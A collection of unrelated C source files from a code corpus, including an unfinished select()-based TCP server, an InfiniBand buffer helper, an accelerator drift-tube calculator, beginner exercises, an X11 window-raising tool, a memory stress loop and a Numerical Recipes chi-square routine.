goto fail; if (bind(s, addr, len)) goto fail; if (listen(s, NET_BACKLOG)) goto fail; if (fcntl(s, F_SETFL, O_NONBLOCK)) goto fail; void *data = class->newdata ? class->newdata(class) : NULL; if (net_add(s, data, class)) goto fail; return 0; fail: perror(__func__); close(s); return -1; } /* copies a partial set of fds */ static void copyfdset(fd_set *d, fd_set *s, int fd_max) { #if 1 /* almost certainly faster */ unsigned len = ((fd_max + 1) + __NFDBITS - 1) / 8; memcpy(d->fds_bits, s->fds_bits, len); #else unsigned i, len = ((fd_max + 1) + __NFDBITS - 1) / __NFDBITS; for (i = 0; i < len; i++) { d->fds_bits[i] = s->fds_bits[i]; } #endif } static void loop(void) { fd_set rfds, wfds; int n; struct timeval tv; // TODO: terminate if there are no more sockets while (1) { log_debug("fdmax=%d\n", event_fdmax); /* populate fd_set */ copyfdset(&rfds, &event_rfds, event_fdmax); copyfdset(&wfds, &event_wfds, event_fdmax); // TODO: fill in the time to next event tv.tv_sec = 10; tv.tv_usec = 0; n = select(event_fdmax + 1, &rfds, &wfds, 0, &tv); if (n < 0) { perror("select()"); return; } // TODO: loop through rfds->fds_bits int i; for (i = 0; i <= event_fdmax; i++) { if (!evinfo[i].class) continue; SOCKET fd = evinfo[i].s; current_entry = i; current_fd = fd; if (FD_ISSET(fd, &rfds)) { log_info("[%d] read event!\n", fd); eventcallback_t *cb = evinfo[i].class->evread; if (cb) { cb(fd, evinfo[i].p); } else { /* no callback? this is bad */ log_error("[%d] no read callback\n", fd); net_close(fd); } } if (FD_ISSET(fd, &wfds)) { log_info("[%d] write event!\n", fd); eventcallback_t *cb = evinfo[i].class->evwrite; if (cb) { cb(fd, evinfo[i].p); } else { /* no callback? this is bad */ log_error("[%d] no write callback\n", fd); net_close(fd); } } } current_entry = -1; current_fd = -1; } } /******************************************************************************/ /* buffer API */ static void buf_free(struct buffer *buf) { free(buf); } static struct buffer * buf_new(unsigned max) { struct buffer *b = calloc(1, sizeof(*b) + max); b->max = max; return b; } /* a read-only pointer to the data */ static const void * buf_data(struct buffer *buf, unsigned *len_out) { assert(buf->end >= buf->start); unsigned n = buf->end - buf->start; if (len_out) *len_out = n; return n ? buf->data + buf->start : NULL; } /* a write-able pointer to the end of the buffer */ static void * buf_prepare(struct buffer *buf, unsigned *len_out) { assert(buf->end >= buf->start); unsigned n = buf->end - buf->start; if (len_out) *len_out = n; return n ? buf->data + buf->end : NULL; } /* move entire buffer to start of array to get the most free space */ static void buf_pack(struct buffer *buf) { assert(buf->end >= buf->start); if (buf->start) { unsigned n = buf->end - buf->start; memmove(buf->data, buf->data + buf->start, n); buf->end -= buf->start; buf->start = 0; } } /* called after writing data to the buffer */ static void buf_update(struct buffer *buf, unsigned len) { buf->end += len; } static void buf_consume(struct buffer *buf, unsigned len) { buf->start += len; } static int buf_add(struct buffer *buf, const void *data, size_t len) { if (buf->max < len) return -1; /* never will fit */ unsigned avail = buf->max - buf->end; if (avail < len) buf_pack(buf); memcpy(buf->data + buf->end, data, len); buf->end += len; return 0; } static int buf_printf(struct buffer *buf, const char *fmt, ...) { va_list ap; int n; buf_pack(buf); assert(buf->max >= buf->end); int len = buf->max - buf->end; va_start(ap, fmt); // log_debug("start=%d end=%d max=%d\n", buf->start, buf->end, buf->max); n = vsnprintf((char*)buf->data + buf->end, len, fmt, ap); va_end(ap); if (n > len) return -1; buf_update(buf, n); return n; } /* grabs the next line, requires buf_consume() to clean up */ static const void * buf_line(struct buffer *buf, unsigned *mark) { assert(buf->end >= buf->start); unsigned n = buf->end - buf->start; /* bail early on an empty buffer */ if (!n) { if (mark) *mark = 0; return NULL; } unsigned char *start = buf->data + buf->start, *end = memchr(start, '\n', n); /* no line found */ if (!*end) { if (mark) *mark = 0; return NULL; } n = end - start; /* save for buf_consume() */ /* deal with possible CR LF case */ if (end > start && end[-1] == '\r') end[-1] = 0; else end[0] = 0; if (mark) *mark = n; return n ? buf->data + buf->start : NULL; } /******************************************************************************/ /* Utility functions */ // TODO: grow() /******************************************************************************/ /* Property list API */ typedef char *property_t; struct prop_iter { property_t *base; int i; int max; }; struct property_list { unsigned len, max; property_t *list; /* entries are stored as "key\0value\0" */ }; static inline const char * prop_get_name(const property_t p) { return p; } static inline const char * prop_get_value(const property_t p) { return p + strlen(p) + 1; } static inline void prop_free(property_t p) { free(p); } /* initializes a prop_iter for iterating through an array of property_t. * the base pointer passed through iter should not be modified between calls of * this function or prop_iter_next(). */ static inline void prop_iter_init(struct prop_iter *iter, property_t *base, unsigned max) { iter->base = base; iter->i = 0; iter->max = max; } property_t prop_new(const char *name, const char *value) { if (!name) /* unnamed properties are not valid */ return NULL; if (!value) /* treat NULL as an empty string */ value = ""; size_t n = strlen(name) + 1, v = strlen(value) + 1; property_t p = malloc(n + v); if (!p) return NULL; /* allocation error */ memcpy(p, name, n); memcpy(p + n, value, v); return p; } void plist_free(struct property_list *plist) { unsigned i; unsigned len = plist->len; for (i = 0; i < len; i++) { property_t *ptr = &plist->list[i]; prop_free(*ptr); *ptr = NULL; } free(plist->list); } /* compare two property names */ static int prop_compar(const void *a, const void *b) { return strcmp(*(property_t *)a, *(property_t *)b); } /* return offset or -1 on error. */ int prop_find_slot(property_t *prop, unsigned prop_len, const char *name) { if (!prop_len) return -1; /* no match because list is empty */ property_t *res = bsearch(&name, prop, prop_len, sizeof(*prop), prop_compar); if (res) return res - prop; return -1; /* no match */ } int plist_set(struct property_list *plist, const char *name, const char *value) { property_t p = prop_new(name, value); if (!p) return -1; int ofs = prop_find_slot(plist->list, plist->len, name); if (ofs >= 0) { property_t *ptr = &plist->list[ofs]; /* entry was found, replace into the same slot */ free(*ptr); *ptr = p; /* no need to qsort() because name hasn't changed */ return 0; } /* else add a new entry on the end */ ofs = plist->len; unsigned new_size = plist->len + 1; if (new_size >= plist->max) { /* make space for the entry */ // BUG: TODO: arguments for grow() have changed if (grow(&plist->list, &plist->max, new_size, sizeof (*plist->list))) { prop_free(p); return -1; /* allocation error */ } plist->len = new_size; } plist->list[ofs] = p; /* the bsearch() requires the array to be sorted */ qsort(plist->list, plist->len, sizeof(*plist->list), prop_compar); return 0; } const char * plist_get(struct property_list *plist, const char *name) { int ofs = prop_find_slot(plist->list, plist->len, name); if (ofs < 0) return NULL; property_t p = plist->list[ofs]; return prop_get_value(p); } /* gets the next property name-value pair. * return false when there are no more properties. * the base pointer passed through iter should not be modified between calls of * this function. */ bool prop_iter_next(struct prop_iter *iter, const char **name, const char **value) { int i = iter->i; if (i >= iter->max) return false; const property_t p = iter->base[i]; if (name) *name = prop_get_name(p); if (value) *value = prop_get_value(p); return true; } /******************************************************************************/ /* DB API */ typedef struct db_handle *db_handle_t; struct db_handle { int fd; int readonly; int state; // 0=header, 1=data }; static int db_dirfd = -1; static int db_init(const char *dbpath) { db_dirfd = open(dbpath, O_DIRECTORY); if (db_dirfd == -1) { perror(dbpath); return -1; } return 0; } static int db_close(db_handle_t h) { // TODO: check that this is read-only close(h->fd); return 0; } static int db_commit(db_handle_t h) { abort(); // TODO: implement this } /* don't commit a transaction */ static int db_discard(db_handle_t h) { abort(); // TODO: implement this } static db_handle_t db_handle_alloc(void) { db_handle_t h; return calloc(1, sizeof(*h)); } /* open an existing resource */ static int db_open(const char *resource, db_handle_t *h_out) { if (db_dirfd == -1) return -1; int fd = openat(db_dirfd, resource, O_RDONLY); db_handle_t h = db_handle_alloc(); h->fd = fd; h->state = 0; h->readonly = 1; if (h_out) { *h_out = h; } else { db_discard(h); } return 0; } /* create or overwrite a resource */ static int db_create(const char *resource, db_handle_t *h_out) { // TODO: open with O_CREAT | O_EXCL // TODO: open a temp file abort(); // TODO: implement this } /* read resource's meta-data */ static int db_headers(db_handle_t h, void *data, unsigned max, unsigned *len_out) { abort(); // TODO: implement this } /* read the data area */ static int db_read(db_handle_t h, void *data, unsigned max, unsigned *len_out) { // TODO: skip over any remaining headers section abort(); // TODO: implement this } /* write/append to data area */ static int db_write(db_handle_t h, const void *data, unsigned len) { abort(); // TODO: implement this } /******************************************************************************/ /* user record */ struct user_info { char name[32]; unsigned uid; unsigned groups[15]; char cipher[496]; }; static struct user_info user_current; static int user_begin(const char *name) { char path[256]; if (snprintf(path, sizeof(path), "users/%s", name) >= sizeof(path)) { log_error("Username too long\n"); return -1; } db_handle_t h; int result = db_open(path, &h); if (result) return result; /* probably user not found */ // TODO: read user headers. there won't be any data section. db_close(h); return 0; } static int user_check_password(const char *cleartext) { // TODO: implement this abort(); } /* complete the transaction */ static void user_end(void) { // TODO: implement this abort(); } /******************************************************************************/ /* Client API */ static void show_file(SOCKET s, struct client_info *cinfo, const char *resource) { if (strcmp(resource, "WELCOME") == 0) { // TODO: access the database buf_printf(cinfo->outbuf, "Welcome ..."); buf_add(cinfo->outbuf, "\r\n", 2); write_ready(s, 1); } else if (strcmp(resource, "ERROR") == 0) { buf_printf(cinfo->outbuf, "Fatal ERROR!"); buf_add(cinfo->outbuf, "\r\n", 2); write_ready(s, 1); } else { buf_printf(cinfo->outbuf, "ERROR: Unknown resource!"); buf_add(cinfo->outbuf, "\r\n", 2); write_ready(s, 1); } } /******************************************************************************/ /* Client handling implementation */ static void client_process(SOCKET s, struct client_info *cinfo) { if (!cinfo) { log_error("[%d] missing client info\n", s); net_close(s); return; } // TODO: process lines until there are no more while (1) { unsigned mark; const char *line = buf_line(cinfo->inbuf, &mark); if (!line) break; switch (cinfo->state) { case CLIENT_STATE_LOGIN: // TODO: go to next state log_info("[%d] USER: \"%s\"\n", s, line); cinfo->state = CLIENT_STATE_COMMAND; show_file(s, cinfo, "MAINMENU"); break; case CLIENT_STATE_COMMAND: log_info("[%d] COMMAND: \"%s\"\n", s, line); break; default: log_error("[%d] invalid state %d\n", s, cinfo->state); show_file(s, cinfo, "ERROR"); // TODO: flush then disconnect return; } buf_consume(cinfo->outbuf, mark); } } /* handler for client's read() */ static void client_handle_read(SOCKET s, void *p) { struct client_info *cinfo = p; unsigned len; ssize_t n; void *data; buf_pack(cinfo->inbuf); data = buf_prepare(cinfo->inbuf, &len); if (!data) { log_error("[%d] unable create buffer\n", s); net_close(s); return; } if (len <= 1) { log_error("[%d] buffer filled, but not draining\n", s); net_close(s); return; } n = recv(s, data, len, 0); if (!n) { net_close(s); return; } else if (n < 0) { log_error("[%d] socket error %d\n", s, errno); net_close(s); return; } buf_update(cinfo->inbuf, n); client_process(s, cinfo); } /* handler for client's write() */ static void client_handle_write(SOCKET s, void *p) { struct client_info *cinfo = p; unsigned len; const void *data = buf_data(cinfo->outbuf, &len); if (len) { ssize_t cnt = send(s, data, len, 0); if (cnt < 0) { log_error("[%d] socket error %d\n", s, errno); } else if (cnt > 0) { buf_consume(cinfo->outbuf, cnt); len -= cnt; } } write_ready(s, len != 0); } static void client_freedata(void *p) { struct client_info *cinfo = p; if (cinfo) { buf_free(cinfo->outbuf); cinfo->outbuf = NULL; buf_free(cinfo->inbuf); cinfo->inbuf = NULL; free(cinfo); } } static void * client_newdata(const struct event_class *class) { struct client_info *cinfo; (void)class; /* unused */ cinfo = calloc(1, sizeof(*cinfo)); cinfo->outbuf = buf_new(131072); cinfo->inbuf = buf_new(4096); cinfo->state = CLIENT_STATE_LOGIN; return cinfo; } static void client_handle_init(SOCKET s, void *p) { struct client_info *cinfo = p; assert(cinfo != NULL); assert(cinfo->outbuf != NULL); assert(cinfo->inbuf != NULL); show_file(s, cinfo, "WELCOME"); show_file(s, cinfo, "LOGIN"); } /******************************************************************************/ /* Server handling implementation */ /* handler for a server's accept(). Applied to a read event. */ static void server_handle_accept(SOCKET s, void *p) { struct sockaddr_storage ss; socklen_t len; SOCKET fd; struct server_info *sinfo = p; const struct event_class *clientclass = sinfo->clientclass; fd = accept(s, (struct sockaddr*)&ss, &len); if (fd == SOCKET_ERROR) return; log_debug("[%d] FAMILY=%d\n", fd, (int)ss.ss_family); void *data = clientclass->newdata ? clientclass->newdata(clientclass) : NULL; if (net_add(fd, data, clientclass)) { log_error("%s()\n", __func__); close(fd); } } static void * server_newdata(const struct event_class *class) { struct server_info *sinfo = calloc(1, sizeof(struct server_info)); sinfo->clientclass = class->extra; return sinfo; } /** * addr: socket address from getifaddrs() or getaddrinfo() * if_hint: string for the related interface, NULL is unknown interface. */ static int server_add(const struct sockaddr *addr, const char *if_hint, unsigned port, const struct event_class *class) { socklen_t len; char host[NI_MAXHOST], serv[NI_MAXSERV]; int result; struct sockaddr_in in; struct sockaddr_in6 in6; if (addr->sa_family == AF_INET) { len = sizeof(struct sockaddr_in); in = *(struct sockaddr_in*)addr; in.sin_port = htons(port); addr = (struct sockaddr*)&in; } else if (addr->sa_family == AF_INET6) { len = sizeof(struct sockaddr_in6); in6 = *(struct sockaddr_in6*)addr; in6.sin6_port = htons(port); addr = (struct sockaddr*)&in6; } else { return -1; } result = getnameinfo(addr, len, host, NI_MAXHOST, serv, NI_MAXSERV, NI_NUMERICHOST | NI_NUMERICSERV); if (result) { log_error("%s\n", gai_strerror(result)); return -1; } if (if_hint) log_info("Server: %s/%s (%s)\n", host, serv, if_hint); else log_info("Server: %s/%s\n", host, serv); if (net_bind(addr, len, class)) return -1; return 0; } static int interface_add(const char *match_if, unsigned port, const struct event_class *class) { struct ifaddrs *ifaddr, *cur; int result = 0; getifaddrs(&ifaddr); for (cur = ifaddr; cur; cur = cur->ifa_next) { if (!cur->ifa_addr) continue; if (!match_if || !strcmp(cur->ifa_name, match_if)) { if (server_add(cur->ifa_addr, cur->ifa_name, port, class)) result = -1; } } freeifaddrs(ifaddr); return result; } /******************************************************************************/ /* main program init */ static int server_count; /* used to see if a default server should be created */ static const struct event_class client_class = { .evread = client_handle_read, .evwrite = client_handle_write, .evinit = client_handle_init, .newdata = client_newdata, .freedata = client_freedata, }; static const struct event_class server_class = { .evread = server_handle_accept, .newdata = server_newdata, .freedata = free, .extra = &client_class, }; static int do_flag(const char *option, const char *arg) { if (strcmp(option, "verbose") == 0) { verbose++; return 0; } else if (strcmp(option, "quiet") == 0) { verbose = 0; return 0; } else if (strcmp(option, "port") == 0) { unsigned port = atoi(arg); // TODO: accept list of interfaces to bind interface_add(NULL, port, &server_class); server_count++; return 0; } else { fprintf(stderr, "Unknown argument '-%s'\n", option); return -1; } } static int parse_args(int argc, char **argv) { int i; i = 1; while (i < argc) { const char *s = argv[i++]; if (*s == '-') { int used = do_flag(s + 1, i < argc ? argv[i]: NULL); if (used < 0) return -1; i += used; } } return 0; } int main(int argc, char **argv) { /* setup socket event entries */ evinfo_max = 1024; evinfo = calloc(evinfo_max, sizeof(*evinfo)); if (parse_args(argc, argv)) return 1; if (server_count == 0) { interface_add(NULL, 4444, &server_class); server_count++; } loop(); return 0; } //// BUGS: // // - loop() spins as soon as something connects - FIXED - event_len was 0 // // //// TODO // // // //// Design // // Concepts: // // process - i/o endpoint, timer element, ... // port - waits on one or more events // //// VM // // Instructions: // SYS(id,argc) system call // CALL(addr,argc) call subroutine // RET return from subroutine // JMP(addr) jump to address / unconditional branch // B(addr,cond,a,b) compare and branch // MOV(dst,src) move / copy value // ADD(dst,a,b) addition // SUB(dst,a,b) subtraction // AND(dst,a,b) bitwise AND // OR(dst,a,b) bitwise OR // XOR(dst,a,b) exclusive-OR // NOT(dst,src) bitwise NOT / complement // DIV(q,r,a,b) division with quotient and remainder // MUL(dst,a,b) multiplication // NEG(dst,src) negation // ??? LEA(dst,expr) load effective address // // Registers // P program counter // S stack pointer // F frame pointer / local variable table // L link register // G global variable table // // Addressing // local variable - frame relative // absolute // global variable - 'G' relative // stack relative - call arguments // indirect ???
the_stack_data/1008532.c
#if defined(CONFIG_INFINIBAND) || defined(CONFIG_INFINIBAND_MODULE) #include "IBVBuffer.h" #include "IBVSocket.h" bool IBVBuffer_init(IBVBuffer* buffer, IBVCommContext* ctx, size_t bufLen) { unsigned count = (bufLen + IBV_FRAGMENT_SIZE - 1) / IBV_FRAGMENT_SIZE; unsigned i; bufLen = MIN(IBV_FRAGMENT_SIZE, bufLen); buffer->buffers = kzalloc(count * sizeof(*buffer->buffers), GFP_KERNEL); buffer->lists = kzalloc(count * sizeof(*buffer->lists), GFP_KERNEL); if(!buffer->buffers || !buffer->lists) goto fail_alloc; for(i = 0; i < count; i++) { #ifndef OFED_UNSAFE_GLOBAL_RKEY buffer->lists[i].lkey = ctx->dmaMR->lkey; #else buffer->lists[i].lkey = ctx->pd->local_dma_lkey; #endif buffer->lists[i].length = bufLen; buffer->buffers[i] = ib_dma_alloc_coherent(ctx->pd->device, bufLen, &buffer->lists[i].addr, GFP_KERNEL); if(!buffer->buffers[i]) goto fail_dma; } buffer->bufferSize = bufLen; buffer->listLength = count; buffer->bufferCount = count; return true; fail_dma: for(i = 0; i < count; i++) { if(buffer->buffers[i]) ib_dma_free_coherent(ctx->pd->device, buffer->bufferSize, buffer->buffers[i], buffer->lists[i].addr); } fail_alloc: kfree(buffer->buffers); kfree(buffer->lists); return false; } void IBVBuffer_free(IBVBuffer* buffer, IBVCommContext* ctx) { unsigned i; for(i = 0; i < buffer->bufferCount; i++) { ib_dma_free_coherent(ctx->pd->device, buffer->bufferSize, buffer->buffers[i], buffer->lists[i].addr); } kfree(buffer->buffers); kfree(buffer->lists); } ssize_t IBVBuffer_fill(IBVBuffer* buffer, struct iov_iter* iter) { ssize_t total = 0; unsigned i; for(i = 0; i < buffer->bufferCount && iter->count > 0; i++) { size_t fragment = MIN(MIN(iter->count, buffer->bufferSize), 0xFFFFFFFF); if(copy_from_iter(buffer->buffers[i], fragment, iter) != fragment) return -EFAULT; buffer->lists[i].length = fragment; buffer->listLength = i + 1; total += fragment; } return total; } #endif
the_stack_data/150142881.c
/* Program calculating gaps length between the different accelerating electric fields in a particle accelerator. Electric fields are generated between two "drift tubes" wich are at different potentials, so that gap length is the length of the drift tube. This length must be speed*(signal_period/2). Particles are therefore simulated to get their speed. Output file: aFrequency \t firstTubeLength \t secondTubeLength \t ... anotherfrequency \t firstTubeLength \t secondTubeLength \t ... ... */ #include <stdio.h> #include <stdlib.h> #include <math.h> double particleNewSpeed(double particlePreviousSpeed, double particleMass, double particleWork){ //Computes the new speed of a particle double c = 299792458.0; double v_I = particlePreviousSpeed; double m = particleMass; double W = particleWork; //Work-energy theorem (relativistic version) double v_F = c*sqrt(1-pow( (m*c*c)/( W+((1/(sqrt(1-(v_I*v_I)/(c*c)))-1))*(m*c*c)+(m*c*c) ) ,2.0)); return v_F; } double distanceWithGap(double particleSpeed, double frequence, double gap){ //Computes the length of a drift tube //Tube length must be l + gap = v * T/2 => l = v * T/2 -gap double l = particleSpeed * (1.0/frequence)/2.0 - gap; return l; } int main() { printf("\t===== This program computes the speed of an electron under several electrostatic fields =====\n"); //How many accelerations ? printf("Enter the number of successive accelerations: "); int nbAccelerations = 0; scanf("%d", &nbAccelerations); //Tension between two electrodes ? printf("Enter the tension (unit: V): "); int tension = 0; scanf("%d", &tension); int dTension = 0 - tension; //Signal frequence? printf("Enter the signal frequence (unit: Hz): "); float frequenceOrigin = 0; scanf("%f", &frequenceOrigin); //How much the frequency of this signal can sweep ? printf("Enter the range of frequency around the origin frequence that must be compute (unit: Hz): +-"); float frequenceE = 0; scanf("%f", &frequenceE); float frequenceA = frequenceOrigin-frequenceE; float frequenceB = frequenceOrigin+frequenceE; printf("Enter the step between two frequencies (unit: Hz): "); float step = 0; scanf("%f", &step); //Gap between electrodes ? printf("Enter gap between electrodes (unit: m): "); double gap = 0.0; scanf("%lf", &gap); double initialSpeed = 0; // m/s. double particleMass = 9.109E-31; //Define particle mass kg. double particleTension = -1.602E-19; // C. double c = 299792458.0; // m/s. printf("\n"); int j = 0; int i = 0; float frequence = 0; // Hz. remove("datas.txt"); FILE* file = NULL; file = fopen("datas.txt", "w"); for(j=0; j<(frequenceB-frequenceA)/step;j++){ //Each loop is in charge of ONE frequence frequence = frequenceA + j*step; fprintf(file, "%e", frequence); initialSpeed = 0.0; for(i=1; i<=nbAccelerations; i++) //Each loop is in charge of ONE tube { double finalSpeed = particleNewSpeed(initialSpeed,particleMass,particleTension*dTension); fprintf(file, "\t%e", distanceWithGap(finalSpeed, frequence, gap)); initialSpeed = finalSpeed; } fprintf(file, "\n"); } return 0; }
the_stack_data/167330776.c
#include <stdio.h> int main(void){ printf("|\\_/|\n"); printf("|q p| /}\n"); printf("( 0 )\"\"\"\\\n"); printf("|\"^\"` |\n"); printf("||_/=\\\\__|"); }
the_stack_data/212642886.c
/* Exercise 1-20. Write a program detab that replaces tabs in the input with the proper number of blanks to space to the next tab stop. Assume a fixed set of tab stops, say every n columns. Should n be a variable or a symbolic parameter? */ /* n should be a symbolic parameter. */ #include <stdio.h> #define TAB 4 /* tab stop will be every TAB-th column */ void detab(int tab_size, int column_index); int main(void) { int c, ncol; ncol = 0; while ((c = getchar()) != EOF) { if (c == '\t') { detab(TAB, ncol); ncol = 0; } else if (c == '\n') { ncol = 0; putchar(c); } else { ++ncol; putchar(c); } } return 0; } void detab(int tab_size, int column_index) { int i = 0; int remain = tab_size - column_index % tab_size; while (i < remain) { putchar(' '); ++i; } }
the_stack_data/10973.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_print_alphabet.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: kaye <[email protected]> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2020/08/03 18:36:24 by kaye #+# #+# */ /* Updated: 2020/08/06 13:59:28 by kaye ### ########.fr */ /* */ /* ************************************************************************** */ #include <unistd.h> void ft_print_alphabet(void) { int i; i = 97; while (i < 123) { write(1, &i, 1); i++; } }
the_stack_data/98677.c
#include <stdio.h> #include <stdlib.h> int main() { int var_A, var_B; printf("Digite o primeiro numero:"); scanf("%d", &var_A); printf("Digite o segundo numero:"); scanf("%d", &var_B); if (var_A > var_B) { printf("%d, %d", var_B, var_A); } else { printf("%d, %d", var_A, var_B); } getch(); return 0; // }
the_stack_data/62639084.c
// // Created by zyx on 2021/9/4. // #include "stdio.h" float celsius(float fahr); int main() { float fahr; int lower = 0, upper = 300, step = 20; fahr = lower; while (fahr <= upper) { printf("%3.0f %6.1f\n", fahr, celsius(fahr)); fahr = fahr + step; } } float celsius(float fahr) { return (5.0 / 9.0) * (fahr - 32.0); }
the_stack_data/750530.c
/* xdo library * - getwindowfocus contributed by Lee Pumphret * - keysequence_{up,down} contributed by Magnus Boman * * See the following url for an explanation of how keymaps work in X11 * http://www.in-ulm.de/~mascheck/X11/xmodmap.html */ #include <stdlib.h> #include <stdio.h> #include <stdarg.h> #include <string.h> #include <X11/Xlib.h> #define ERROR 1 #define OK 0 #define FIND_PARENTS (0) #define FIND_CHILDREN (1) typedef unsigned long ULONG; typedef unsigned char UCHAR; typedef unsigned int UINT; int GetMouseLocation(Display *display, int *x_ret, int *y_ret, int *screen_num_ret, Window *window_ret); int FindClientWindow(Display *display, Window window, Window *window_ret, int direction); void Debug(const char *format, ...) ; int GetWindowProperty(Display *display, Window window, const char *property, UCHAR **value, long *nitems, Atom *type, int *size); UCHAR *GetWindowPropertyByAtom(Display *display, Window window, Atom atom, long *nitems, Atom *type, int *size); /***********************************************************************/ int main(int argc, char **argv) { int x, y, screen_num; Window window; Display *display; char *displayName; if((displayName = getenv("DISPLAY"))==NULL) { display = XOpenDisplay(":0"); } else { display = XOpenDisplay(displayName); } if(!GetMouseLocation(display, &x, &y, &screen_num, &window)) { #if (DEBUG > 3) printf("x:%d y:%d screen:%d window:%ld\n", x, y, screen_num, window); #endif if(strstr(argv[0], "lower")) { if(!XLowerWindow(display, window)) { fprintf(stderr, "XRaiseWindow error?\n"); exit(1); } } else { if(!XRaiseWindow(display, window)) { fprintf(stderr, "XRaiseWindow error?\n"); exit(1); } } } XCloseDisplay(display); return(0); } /***********************************************************************/ int FindClientWindow(Display *display, Window window, Window *window_ret, int direction) { Window dummy, parent, *children = NULL; UINT nchildren; Atom atom_wmstate = XInternAtom(display, "WM_STATE", False); int done = False; long items; while (!done) { if (window == 0) { return ERROR; } Debug("get_window_property on %lu", window); GetWindowPropertyByAtom(display, window, atom_wmstate, &items, NULL, NULL); if (items == 0) { /* This window doesn't have WM_STATE property, keep searching. */ Debug("window %lu has no WM_STATE property, digging more.", window); XQueryTree(display, window, &dummy, &parent, &children, &nchildren); if (direction == FIND_PARENTS) { Debug("searching parents"); /* Don't care about the children, but we still need to free them */ if (children != NULL) XFree(children); window = parent; } else if (direction == FIND_CHILDREN) { UINT i = 0; int ret; Debug("searching %d children", nchildren); done = True; /* recursion should end us */ for (i = 0; i < nchildren; i++) { ret = FindClientWindow(display, children[i], &window, direction); #if (DEBUG > 3) fprintf(stderr, "findclient: %ld\n", window); #endif if (ret == OK) { *window_ret = window; break; } } if (nchildren == 0) { return ERROR; } if (children != NULL) XFree(children); } else { fprintf(stderr, "Invalid find_client direction (%d)\n", direction); *window_ret = 0; if (children != NULL) XFree(children); return ERROR; } } else { *window_ret = window; done = True; } } return OK; } /***********************************************************************/ void Debug(const char *format, ...) { va_list args; va_start(args, format); #if DEBUG > 2 vfprintf(stderr, format, args); fprintf(stderr, "\n"); #endif } /***********************************************************************/ int GetWindowProperty(Display *display, Window window, const char *property, UCHAR **value, long *nitems, Atom *type, int *size) { *value = GetWindowPropertyByAtom(display, window, XInternAtom(display,property,False), nitems, type, size); if (*value == NULL) { return ERROR; } return OK; } /***********************************************************************/ /* Arbitrary window property retrieval * slightly modified version from xprop.c from Xorg */ UCHAR *GetWindowPropertyByAtom(Display *display, Window window, Atom atom, long *nitems, Atom *type, int *size) { Atom actual_type; int actual_format; ULONG _nitems; /*ULONG nbytes;*/ ULONG bytes_after; /* unused */ UCHAR *prop; int status; status = XGetWindowProperty(display, window, atom, 0, (~0L), False, AnyPropertyType, &actual_type, &actual_format, &_nitems, &bytes_after, &prop); if (status == BadWindow) { fprintf(stderr, "window id # 0x%lx does not exists!", window); return NULL; } if (status != Success) { fprintf(stderr, "XGetWindowProperty failed!"); return NULL; } /* *if (actual_format == 32) * nbytes = sizeof(long); *else if (actual_format == 16) * nbytes = sizeof(short); *else if (actual_format == 8) * nbytes = 1; *else if (actual_format == 0) * nbytes = 0; */ if (nitems != NULL) { *nitems = _nitems; } if (type != NULL) { *type = actual_type; } if (size != NULL) { *size = actual_format; } return prop; } /***********************************************************************/ int GetMouseLocation(Display *display, int *x_ret, int *y_ret, int *screen_num_ret, Window *window_ret) { int ret = False, rootX = 0, rootY = 0, windowX = 0, windowY = 0, screen_num = 0, i = 0; Window window = 0, rootWindow = 0; UINT mask = 0; int screencount = ScreenCount(display); /* Step through the screens associated with this display */ for (i = 0; i < screencount; i++) { Screen *screen = ScreenOfDisplay(display, i); /* If the pointer is on this screen we get the info for the pointer, store the screen number and break out of the loop */ if((ret=XQueryPointer(display, RootWindowOfScreen(screen), &rootWindow, &window, &rootX, &rootY, &windowX, &windowY, &mask))==True) { screen_num = i; break; } } /* If the caller is requesting the window number... */ if (window_ret != NULL) { /* If it's not the root window, find the client window */ if ((window != rootWindow) && (window != 0)) { int findret; Window clientWindow = 0; /* Search up the stack for a client window for this window */ findret = FindClientWindow(display, window, &clientWindow, FIND_PARENTS); if (findret == ERROR) { /* If no client found, search down the stack */ findret = FindClientWindow(display, window, &clientWindow, FIND_CHILDREN); } #ifdef DEBUG fprintf(stderr, "Window: %ld, Root window: %ld, \ Client Window: %ld, Return: %d\n", window, rootWindow, clientWindow, findret); #endif if (findret == OK) { window = clientWindow; } } else { window = rootWindow; } } #if (DEBUG > 3) printf("mouseloc root: %ld\n", rootWindow); printf("mouseloc window: %ld\n", window); #endif if (ret == True) { if (x_ret != NULL) *x_ret = rootX; if (y_ret != NULL) *y_ret = rootY; if (screen_num_ret != NULL) *screen_num_ret = screen_num; if (window_ret != NULL) *window_ret = window; } else { fprintf(stderr, "XQueryPointer() failed\n"); return(ERROR); } return(OK); }
the_stack_data/598866.c
#include <stdio.h> #include <unistd.h> #include <malloc.h> #include <stdlib.h> #define PAGESIZE 4096 int main(int argc, char **argv) { size_t size; size_t count; long loop; long input = 0; unsigned char *base; unsigned char *limit; unsigned char *p; if (argc != 2 || (size = atoi(argv[1])) <= 1) { fprintf(stderr, "Usage: %s size(MB)\n", argv[0]); exit(-1); } input = size; fprintf(stderr, "Size = %.3f GB\n", size / 1024.0); size *= 1024 * 1024; base = malloc(size); if (base == 0) { fprintf(stderr, "%s: malloc failed\n", argv[0]); exit(-1); } nice(20); limit = base + size; count = 0; loop = 0; fprintf(stderr, "Starting write loop...\n"); for (;;) { loop++; count++; for (p = base; p != limit; p += PAGESIZE) { *(size_t *) p = count++; } if (base[50] == 3) /* Force a read, compilers are too smart! */ { return 2; } if (loop == 1) { fprintf(stderr, "Done with first loop setting every %d bytes, for %ld MB\n", PAGESIZE, input); } } return 0; }
the_stack_data/78331.c
void chstwo(float bins1[], float bins2[], int nbins, int knstrn, float *df, float *chsq, float *prob) { float gammq(float a, float x); int j; float temp; *df=nbins-knstrn; *chsq=0.0; for (j=1;j<=nbins;j++) if (bins1[j] == 0.0 && bins2[j] == 0.0) --(*df); else { temp=bins1[j]-bins2[j]; *chsq += temp*temp/(bins1[j]+bins2[j]); } *prob=gammq(0.5*(*df),0.5*(*chsq)); } /* (C) Copr. 1986-92 Numerical Recipes Software 7&X*. */
the_stack_data/317394.c
